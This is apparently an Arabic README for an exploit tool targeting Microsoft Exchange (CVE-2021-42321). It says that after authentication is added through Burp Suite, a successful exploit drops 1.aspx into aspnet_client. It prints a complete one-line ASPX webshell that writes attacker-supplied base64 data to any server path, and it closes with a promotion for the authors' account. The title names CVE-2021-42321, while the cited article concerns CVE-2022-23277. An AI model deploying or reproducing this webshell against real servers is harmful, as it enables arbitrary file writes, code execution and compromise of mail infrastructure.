exch_CVE-2021-42321

هذه الأداة وردت في مقال فريق 7bits الأمني بعنوان "إعادة إنتاج ثغرة DotNet Security CVE-2022-23277"

يجب إضافة جزء المصادقة يدويًا عبر burpsuite، وبعد نجاح الاستغلال سيتم كتابة 1.aspx في مسار aspnet_client.

webshell:

<%@ Page Language="JScript" Debug="true"%><%@Import Namespace="System.IO"%><%File.WriteAllBytes(Request["b"], Convert.FromBase64String(Request["a"]));%>

يمكن الرجوع إلى مقالنا لتفاصيل الاستغلال

تابع حسابنا الرسمي - Zbits2022